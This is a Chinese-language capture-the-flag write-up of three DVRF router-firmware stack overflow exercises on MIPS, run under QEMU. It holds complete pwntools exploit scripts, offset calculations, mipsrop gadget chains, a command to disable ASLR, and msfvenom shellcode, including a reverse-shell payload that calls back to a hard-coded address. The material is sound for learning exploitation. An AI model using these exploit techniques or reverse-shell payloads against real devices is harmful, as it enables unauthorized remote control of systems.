DVRF stack_bof_01
binwalk -Me提取固件后
使用ida查看,发现程序从命令行参数中传递strcpy的数据
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[200]; // [sp+18h] [+18h] BYREF
if ( argc < 2 )
{
puts("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r");
exit(1);
}
puts("Welcome to the first BoF exercise!\r\n\r");
strcpy(v4, argv[1]);
printf("You entered %s \r\n", v4);
return 65;
}
通过cyclic生成
from pwn import *
payload=cyclic(0x300)
with open("payload","w") as f:
f.write(payload.decode())
这里我们使用qemu-user来模拟,写一个bash脚本帮助我们初始化
记得把所需的链接库目录复制到程序所在目录下
#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q -L ./ -g 1234 ./stack_bof_01 "`cat payload`"
然后使用gdb-multiarch,使用set arch mips指定架构,target remote:1234开启远程调试,根据cyclic -l可以算出偏移
*GP 0x448b80
*FP 0x407fffc8 ◂— 0x63616163 ('caac')
*SP 0x407fffc8 ◂— 0x63616163 ('caac')
*PC 0x63616162 ('baac')
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
Invalid address 0x63616162
───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ fp sp 0x407fffc8 ◂— 0x63616163 ('caac')
01:0004│ 0x407fffcc ◂— 0x63616164 ('daac')
02:0008│ 0x407fffd0 ◂— 0x63616165 ('eaac')
03:000c│ 0x407fffd4 ◂— 0x63616166 ('faac')
04:0010│ 0x407fffd8 ◂— 0x63616167 ('gaac')
05:0014│ 0x407fffdc ◂— 0x63616168 ('haac')
06:0018│ 0x407fffe0 ◂— 0x63616169 ('iaac')
07:001c│ 0x407fffe4 ◂— 0x6361616a ('jaac')
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► f 0 0x63616162
────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x63616162
204
尝试按照x86的思路直接覆盖$ra,这里使用bytes存在null bytes读不进去,最后用的str
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
payload='a'*204+'\xe0\x08\x40'
io=process(b"./q -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)
io.interactive()
最后异常
*S8 0x61616161 ('aaaa')
*GP 0x448b80
FP 0x0
*SP 0x40800038 ◂— 0
*PC 0x407ff2a9 ◂— beqz $v0, 0x4081f27d /* 0x10407ff4 */
───────────────────────────────────────[ DISASM ]───────────────────────────────────────
► 0x407ff2a9 beqz $v0, 0x4081f27d
0x407ff2ad swr $ra, -0xf($at)
0x407ff2b1 ll $zero, 0x7ff4($v0)
───────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ s0 sp 0x40800038 ◂— 0
01:0004│ 0x4080003c —▸ 0x40800114 —▸ 0x4080029e ◂— jalx 0x41ccbcb8 /* 0x74732f2e; './stack_bof_01' */
02:0008│ 0x40800040 —▸ 0x3ffba724 ◂— 0x4c475f00
03:000c│ 0x40800044 —▸ 0x3ffba354 ◂— 0
04:0010│ 0x40800048 —▸ 0x3feed5d0 ◂— negu $v0, $a0 /* 0x41023 */
05:0014│ 0x4080004c ◂— 0
... ↓ 2 skipped
─────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────
► f 0 0x407ff2a9
────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
参考Swe3ty博客:
在MIPS中,函数内部会通过t9寄存器和t9寄存器和gp寄存器来找数据,地址等。同时在mips的手册内默认$t9的值为当前函数的开始地址,这样才能正常的索引
在libc.so.0中存在gadget,不过mipsrop找不到,可以手动定位到此处
.text:00006B20 00 00 B9 8F lw $t9, arg_0($sp)
.text:00006B24 09 F8 20 03 jalr $t9
先手动关闭地址随机化
对于libc基址,可以对程序函数下断点,建议使用b $rebase(0x)的方式加断点,调试半天才想起来这个,跳转过去查看got地址,然后手算
user模式下vmmap并不方便使用,也可以手动查看进程内存映射
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
sudo netstat -tunpl|grep 1234 #查看进程PID
sudo cat /proc/*/maps #查看内存映射,*为进程PID
可以看到:
80eee000-80f29000 r--p 00000000 00:19 562334 /home/fk/Desktop/cve/DVRF-master/Firmware/_DVRF_v05.bin.extracted/squashfs-root/pwnable/Intro/lib/libc.so.0
最后还是使用start.sh中的命令,所以最终exp修改如下:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
libc_addr=0x80eee000
gadget1=0x6B20+libc_addr
payload="a"*204+p32(gadget1)+p32(0x4008e0)
with open("payload","w") as f:
f.write(payload)
# io=process(b"./q -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)
# io.interactive()
DVRF stack_bof_02
与stack_bof_01类似,不过少了后门函数,mips架构关闭NX保护,所以此题打shellcode即可,可以提前调试出返回的栈上地址然后部署shellcode,最后覆盖$ra为该地址即可
部署shellcode时可以在shellcode前面加上nop sled增强泛用性
jeb2上面给的nop sled是这个
NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes): "\x26\x40\x08\x01" $t0属于临时寄存器,nop的原则是对后续执行shellcode不影响,如果用msfvenom生成shellcode可以赌一手
from pwn import *
payload=cyclic(0x300)
with open("payload","w") as f:
f.write(payload.decode())
使用上面脚本生成padding
使用bash脚本启动
#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q -L ./ -g 1234 ./stack_bof_02 "`cat payload`"
gdb-multiarch连接上之后测算偏移量
*PC 0x66616163 ('caaf')
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / mips / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x66616163
─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ fp sp 0x407ffd08 ◂— 0x66616164 ('daaf')
01:0004│ 0x407ffd0c ◂— 0x66616165 ('eaaf')
02:0008│ 0x407ffd10 ◂— 0x66616166 ('faaf')
03:000c│ 0x407ffd14 ◂— 0x66616167 ('gaaf')
04:0010│ 0x407ffd18 ◂— 0x66616168 ('haaf')
05:0014│ 0x407ffd1c ◂— 0x66616169 ('iaaf')
06:0018│ 0x407ffd20 ◂— 0x6661616a ('jaaf')
07:001c│ 0x407ffd24 ◂— 0x6661616b ('kaaf')
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x66616163
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x66616163
Finding cyclic pattern of 4 bytes: b'caaf' (hex: 0x63616166)
Found at offset 508
可以测出来偏移为508
这道题msfvenom生成的shellcode不太稳,可以多生成几次试试,也可以用shell-strom上有的
┌─[fk@fk]─[~]
└──╼ $msfvenom -p linux/mipsle/exec CMD=/bin/sh --arch mipsle --platform linux -f py --bad-chars "\x00"
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=51, char=0x00)
Attempting to encode payload with 1 iterations of mipsle/byte_xori
mipsle/byte_xori succeeded with size 156 (iteration=0)
mipsle/byte_xori chosen with final size 156
Payload size: 156 bytes
Final size of py file: 778 bytes
buf = b""
buf += b"\xc6\xff\x0e\x24\x27\x70\xc0\x01\xac\xff\x0b\x24"
buf += b"\xff\xff\x10\x05\xde\x86\x08\x28\x27\x58\x60\x01"
buf += b"\x21\xc8\xeb\x03\x21\x80\xeb\x03\xee\xa5\x17\x28"
buf += b"\xff\xff\x31\x83\xfc\xff\x0d\x24\x27\x30\xa0\x01"
buf += b"\xfe\xff\xcf\x20\xfc\xff\x28\x83\x21\xb8\xef\x02"
buf += b"\x12\x89\x03\x39\x2b\xf0\xee\x02\xfc\xff\x23\xa3"
buf += b"\xfa\xff\xc0\x17\x21\xc8\x2f\x03\xfc\xff\x04\x26"
buf += b"\xcb\xff\x0a\x24\x27\x28\x40\x01\x33\x10\x02\x24"
buf += b"\x0c\x54\x4a\x01\x12\x12\x12\x12\x74\x14\x14\x36"
buf += b"\xed\xed\xc2\x16\xed\xed\x14\x3a\xf2\xed\xaf\x35"
buf += b"\x13\x02\xf6\x35\x0d\xe2\x96\x36\xfa\xed\xb6\xbd"
buf += b"\xfe\xed\xb2\xbd\xfa\xed\xb7\x35\xb9\x1d\x10\x36"
buf += b"\x1e\x13\x13\x13\x3d\x70\x7b\x7c\x3d\x61\x7a\x12"
注意exp里面
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
# libc_addr=0x3fecd000
payload=b""
# NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(30):
payload += b"\x26\x40\x08\x01"
buf = b""
buf += b"\xc6\xff\x0e\x24\x27\x70\xc0\x01\xac\xff\x0b\x24"
buf += b"\xff\xff\x10\x05\xde\x86\x08\x28\x27\x58\x60\x01"
buf += b"\x21\xc8\xeb\x03\x21\x80\xeb\x03\xee\xa5\x17\x28"
buf += b"\xff\xff\x31\x83\xfc\xff\x0d\x24\x27\x30\xa0\x01"
buf += b"\xfe\xff\xcf\x20\xfc\xff\x28\x83\x21\xb8\xef\x02"
buf += b"\x12\x89\x03\x39\x2b\xf0\xee\x02\xfc\xff\x23\xa3"
buf += b"\xfa\xff\xc0\x17\x21\xc8\x2f\x03\xfc\xff\x04\x26"
buf += b"\xcb\xff\x0a\x24\x27\x28\x40\x01\x33\x10\x02\x24"
buf += b"\x0c\x54\x4a\x01\x12\x12\x12\x12\x74\x14\x14\x36"
buf += b"\xed\xed\xc2\x16\xed\xed\x14\x3a\xf2\xed\xaf\x35"
buf += b"\x13\x02\xf6\x35\x0d\xe2\x96\x36\xfa\xed\xb6\xbd"
buf += b"\xfe\xed\xb2\xbd\xfa\xed\xb7\x35\xb9\x1d\x10\x36"
buf += b"\x1e\x13\x13\x13\x3d\x70\x7b\x7c\x3d\x61\x7a\x12"
payload +=buf
stack_addr=0x407ffc08
payload+=b"a"*(508-len(payload))+p32(stack_addr)
with open("payload","w") as f:
f.write(payload)
# io=process(b"./q -L ./ -g 1234 ./stack_bof_01 ".decode()+payload,shell=True)
# io.interactive()
DVRF socket_bof
前言:
摸了2天🐟把这个看了一下,第一天本来能够出的,结果找的gadget卡在sw语句不执行了,gdb爆warning can't find the start of the function at xxx,网络上说是无法访问共享库的问题😓;第二天重新找了几个gadget结果最后又出现同样的问题,最后又重新找了几个gadget尽可能简化了操作数才打通
概述:
本题溢出点存在于sprintf函数拼接变量v10长度超过v11缓冲区大小,可以导致v11栈溢出
本题数据传输通过socket,bash脚本指定端口初始化如下
#! /bin/bash
cp $(which qemu-mipsel-static) ./q
./q -L ./ -g 1234 ./socket_bof "9999"
最开始我们gdb-multiarch remote到1234端口后在程序建立监听的函数后下断点c过去,然后使用cyclic脚本测算偏移,脚本如下:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
io=remote("127.0.0.1",9999)
io.recvuntil(b"Send Me Bytes:")
payload=cyclic(0x300)
io.sendline(payload)
io.interactive()
可以测出偏移为51
然后我们就可以着手exp的编写
为了绕过MIPS架构的缓存不一致性,我们需要主动调用 sleep() 来使写入的shellcode从 D-Cache 刷新到 I-Cache ,所以exp编写流程与前文不同
大致流程:
1.确保能溢出到$ra
2.寻找gadget将$a0值设为1,即sleep的参数
3.寻找gadget执行libc中的sleep并能够返回到下一个gadget
4.寻找gadget将包含shellcode的栈地址储存到寄存器中
5.寻找gadget将寄存器值赋值到跳转语句寄存器上跳转到栈上的正确位置执行shellcode
gadgets查找:
首先是找给$a0寄存器赋值为1的
Found 45 matching gadgets
Python>mipsrop.find("li $a0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00018AA8 | li $a0,1 | jalr $s3 |
| 0x0002FB10 | li $a0,1 | jalr $s1 |
| 0x00012D3C | li $a0,1 | jr 0x20+var_s0($sp) |
| 0x00022420 | li $a0,1 | jr 0x18+var_s8($sp) |
| 0x0002A9C8 | li $a0,1 | jr 0x18+var_s4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 5 matching gadgets
这里我们采用偏移为0x2FB10的gadget0
.text:0002FB10 01 00 04 24 li $a0, 1
.text:0002FB14 21 C8 20 02 move $t9, $s1
.text:0002FB18 09 F8 20 03 jalr $t9 ; sub_2F818
我们需要找到一个能够对$s1赋值的gadget1,查找
Python>mipsrop.find("lw $s1")
可以找到0x7730处的gadget1,并且这里还可以控制一些其它寄存器
.text:00007730 28 00 BF 8F lw $ra, 0x18+var_s10($sp)
.text:00007734 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
.text:00007738 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:0000773C 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:00007740 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:00007744 08 00 E0 03 jr $ra
到此处位置,我们需要在执行完sleep后继续执行shellcode的话,需要一个利用ra除外寄存器跳转的并且可以写ra的gadget2,继续查找
Python>mipsrop.tail()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0001E03C | move $t9,$s1 | jr $s1 |
| 0x0001F07C | move $t9,$a1 | jr $a1 |
| 0x0001F2C0 | move $t9,$s0 | jr $s0 |
| 0x0001FBCC | move $t9,$a1 | jr $a1 |
| 0x000201F4 | move $t9,$s0 | jr $s0 |
| 0x00020F1C | move $t9,$s2 | jr $s2 |
| 0x00020FE4 | move $t9,$s2 | jr $s2 |
| 0x00021200 | move $t9,$s2 | jr $s2 |
| 0x00021C34 | move $t9,$s3 | jr $s3 |
| 0x00022E94 | move $t9,$s1 | jr $s1 |
| 0x0002313C | move $t9,$s0 | jr $s0 |
| 0x000267B4 | move $t9,$s0 | jr $s0 |
| 0x00033AF4 | move $t9,$s0 | jr $s0 |
----------------------------------------------------------------------------------------------------------------
Found 13 matching gadgets
我们使用偏移0x20F1C处的gadget2,不仅能够给ra寄存器赋值,也能用gadget1控制s2值进行跳转
.text:00020F1C 21 C8 40 02 move $t9, $s2
.text:00020F20 24 00 BF 8F lw $ra, 0x18+var_sC($sp)
.text:00020F24 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
.text:00020F28 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
.text:00020F2C 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
.text:00020F30 08 00 20 03 jr $t9
我们可以通过jr t9跳转到 sleep函数中,我们只需要通过gadget2控制ra为shellcode的栈地址即可,我们可以通过mipsrop.stackfinder{}查找,这个指令是查找将栈地址存入寄存器的gadget,找到偏移0x16DD0处的gadget3
.text:00016DD0 18 00 A4 27 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 21 C8 00 02 move $t9, $s0
.text:00016DD8 09 F8 20 03 jalr $t9
此处通过控制s0进一步控制t9,而
s0我们在gadget2中即可控制,那么我们要跳转到shellcode所在栈地址上,则需要将a0值存入t9,所以我们这里控制s0的值为下一个gadget4,查找
Python>mipsrop.find("move $t9,$a0")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000214A0 | move $t9,$a0 | jalr $a0 |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
偏移0x214A0处的gadget4满足我们的需求
.text:000214A0 21 C8 80 00 move $t9, $a0
.text:000214A4 18 00 A2 AF sw $v0, 0x30+var_18($sp)
.text:000214A8 09 F8 20 03 jalr $t9
所以到目前为止我们梳理一遍思路,可以得出下面的大致流程:
gadget1->gadget0-gadget2->sleep()->gadget3->gadget4->shellcode
可以根据这个流程大致写出payload然后gdb调试 在本机上运行的时候,发现在gadget2上填充padding的时候,需要额外填充0x4字节的数据才能正常给对应寄存器赋值 msfvenom生成shellcode的时候注意指定LHOST和LPORT
exp:
from pwn import *
context(log_level='debug',arch='mips',endian='little',bits=32)
io=remote("127.0.0.1",9999)
libc_base=0x3fecd000
sleep_func=0x2f2b0+libc_base
# msfvenom -p linux/mipsle/shell_reverse_tcp --arch mipsle --platform linux -f py --bad-chars '\x00'
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"
buf += b"\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"
buf += b"\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"
buf += b"\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"
buf += b"\x11\x5c\x0e\x3c\x11\x5c\xce\x35\xe4\xff\xae\xaf"
buf += b"\xf7\x83\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"
buf += b"\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"
buf += b"\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"
buf += b"\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"
buf += b"\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"
buf += b"\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"
buf += b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"
buf += b"\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"
buf += b"\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"
buf += b"\x0c\x01\x01\x01"
shellcode=buf
gadget0=0x2FB10+libc_base
# .text:0002FB10 01 00 04 24 li $a0, 1
# .text:0002FB14 21 C8 20 02 move $t9, $s1
# .text:0002FB18 09 F8 20 03 jalr $t9 ; sub_2F818
gadget1=0x7730+libc_base
# .text:00007730 28 00 BF 8F lw $ra, 0x18+var_s10($sp)
# .text:00007734 24 00 B3 8F lw $s3, 0x18+var_sC($sp)
# .text:00007738 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
# .text:0000773C 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
# .text:00007740 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
# .text:00007744 08 00 E0 03 jr $ra
gadget2=0x20F1C+libc_base
# .text:00020F1C 21 C8 40 02 move $t9, $s2
# .text:00020F20 24 00 BF 8F lw $ra, 0x18+var_sC($sp)
# .text:00020F24 20 00 B2 8F lw $s2, 0x18+var_s8($sp)
# .text:00020F28 1C 00 B1 8F lw $s1, 0x18+var_s4($sp)
# .text:00020F2C 18 00 B0 8F lw $s0, 0x18+var_s0($sp)
# .text:00020F30 08 00 20 03 jr $t9
gadget3=0x16DD0+libc_base
# .text:00016DD0 18 00 A4 27 addiu $a0, $sp, 0x38+var_20
# .text:00016DD4 21 C8 00 02 move $t9, $s0
# .text:00016DD8 09 F8 20 03 jalr $t9
gadget4=0x214A0+libc_base
# .text:000214A0 21 C8 80 00 move $t9, $a0
# .text:000214A4 18 00 A2 AF sw $v0, 0x30+var_18($sp)
# .text:000214A8 09 F8 20 03 jalr $t9
#stack for gadget1
payload=b"a"*51 #padding
payload+=p32(gadget1) # $ra0->gadget1
payload+=b"a"*0x18 #padding
payload+=b"aaaa" # $s0
payload+=p32(gadget2) # $s1->gadget2
payload+=p32(sleep_func) # $s2->sleep_func
payload+=b"aaaa" #padding
payload+=p32(gadget0) # $ra1->gadget0
#stack for gadget2
payload+=b"a"*0x1c #padding
payload+=p32(gadget4) # $s0->gadget
payload+=b"aaaa"*2 #padding
payload+=p32(gadget3) # $ra2->gadget3
# gadget1->gadget0->gadget2->sleep(1)->gadget3->gadget4
#stack for shellcode
payload+=b"a"*0x18
payload+=shellcode
io.recvuntil(b"Send Me Bytes:")
io.sendline(payload)
io.interactive()
-END